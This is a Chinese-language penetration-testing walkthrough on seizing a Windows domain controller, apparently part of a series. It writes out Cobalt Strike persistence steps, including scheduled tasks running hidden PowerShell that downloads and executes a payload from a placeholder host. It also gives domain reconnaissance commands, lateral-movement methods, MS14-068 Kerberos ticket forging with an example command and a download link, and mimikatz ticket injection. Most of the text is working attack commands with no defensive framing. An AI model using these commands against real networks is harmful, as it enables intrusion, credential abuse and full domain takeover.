如何拿到域控?
外网打点
信息收集,拿到可用的exp,蚁剑连接到木马,上传CS木马。
权限维持
CS连接到木马,设置延迟时间(为2秒最佳)。进程迁移,浏览进程列表选择需要注入的进程,一般为常见进程(不容易关闭)。
或者将木马文件放置放到启动项文件夹内
shell copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
或者设置为计划任务
生成powershell上线语句

beacon上输入:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))" # 你设置的Local host
设置计划任务(每隔一个小时,以system权限执行命令)
# 其他启动时间参数:
/sc onlogon # 用户登录时启动
/sc onstart # 系统启动时启动
/sc onidle # 系统空闲时启动
shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /ru system /f
启动计划任务
设置计划任务(用户登录时启动)
shell schtasks /create /tn win1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /sc ONLOGON
shell schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))\""
删除计划任务
shell schtasks /delete /tn win2 /f
同样的,不仅仅可以放powershell语句,放木马文件路径也是一样的。
shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "C:\Windows\Temp\123.exe" /ru system /f
主机信息收集
在CS的beacon输shell进行信息收集,定位到域内服务器的IP。
基本的信息收集,具体可以看内网渗透(二)
# 主机信息
systeminfo
# 网络信息
ipconfig /all
# 路由表
arp -a
# 进程,查AV
tasklist
# 端口占用情况
netstat -ano
# 是否域环境
net user /domain
# 是否出网
ping baidu.com -n 2
隧道搭建
设置proxifier指向服务器,利用隧道访问到域内服务器。
详情看内网渗透(四)
横向移动
给内网服务器挂马。蚁剑连接,新建一个用户。可能权限不足,可以提权。详情可以看提权篇。
域内信息收集
基本信息收集
# 查看当前登陆域
net config workstation
# 查询域用户
net user /domain
# 查询指定域用户详细信息
net user xxx /domain
# 查询域控制器
net time /domain
# 获取域内用户详细信息
wmic useraccount get /all
# 查询域控制器主机名
nltest /DCLIST:god
定位域控制器
基于ping主域来获取
ping xxx.cool -n 2
查询dns服务器
ipconfig /all
查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.<域名>
存活主机探测
# 执行命令扫描当前主机所在C段
nbtscan-1.0.35.exe 192.168.30.0/24
# ping命令
for /l %i in (1,1,255) do @ ping 192.168.30.%i -w 1 -n 1|find /i "ttl="
横向移动
PC+计划任务,at命令,PC+Windows服务,psexec,hash传递。
票据传递
使用MS14-068,将普通用户提升至域控权限。
下载地址:
https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2014-6324
首先获取一个域用户的权限
需要条件:
域内普通用户SID
域内普通用户密码
上传ms14-068.exe。并执行下面的命令,生成票据文件。
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
# example:
ms14-068.exe -u web@xxx.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd
将票据注入到内存中,使用mimikatz
kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list //查看当前机器凭证
kerberos::ptc TGT_xxx@domain.cache //将票据注入到内存中
还有就是黄金,白银票据传递。
横向渗透,纵向渗透
横向移动
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。